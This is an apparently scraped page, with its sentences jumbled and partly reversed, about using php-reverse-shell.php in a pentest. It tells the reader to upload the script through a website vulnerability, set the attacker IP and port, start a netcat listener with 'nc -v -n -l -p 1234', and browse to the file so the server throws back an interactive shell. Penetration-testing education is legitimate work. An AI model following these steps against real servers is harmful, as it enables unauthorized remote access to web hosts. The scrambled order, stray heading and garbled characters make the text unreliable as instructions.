


Some useful commans such as w, uname -a, id and pwd are run automatically for you: $ nc -v -n -l -p 1234Ĭonnect to from (UNKNOWN) 58012 If all went well, the web server should have thrown back a shell to your netcat listener. Run the script simply by browsing to the newly uploaded file in your web browser (NB: You won’t see any output on the web page, it’ll just hang if successful): Enjoy your new shell Using whatever vulnerability you’ve discovered in the website, upload php-reverse-shell.php. Use the same port here as you specified in the script (1234 in this example): $ nc -v -n -l -p 1234 Upload and Run the script Start a TCP listener on a host and port that will be accessible by the web server. $port = 1234 // CHANGE THIS Get Ready to catch the reverse shell Edit the following lines of php-reverse-shell.php: $ip = '127.0.0.1' // CHANGE THIS To prevent someone else from abusing your backdoor – a nightmare scenario while pentesting – you need to modify the source code to indicate where you want the reverse shell thrown back to.
#Xxe to php reverse shell update
Update 2011-11: Imax sent me a link to his tool fimap which uses php-reverse-shell. I stumbled across this video someone made of php-reverse-shell. It differs from web form-based shell which allow you to send a single command, then return you the output. This will be a proper interactive shell in which you can run interective programs like telnet, ssh and su. Bound to this TCP connection will be a shell. The script will open an outbound TCP connection from the webserver to a host and port of your choice. Upload this script to somewhere in the web root then run it by accessing the appropriate URL in your browser. This tool is designed for those situations during a pentest where you have upload access to a webserver that’s running PHP.
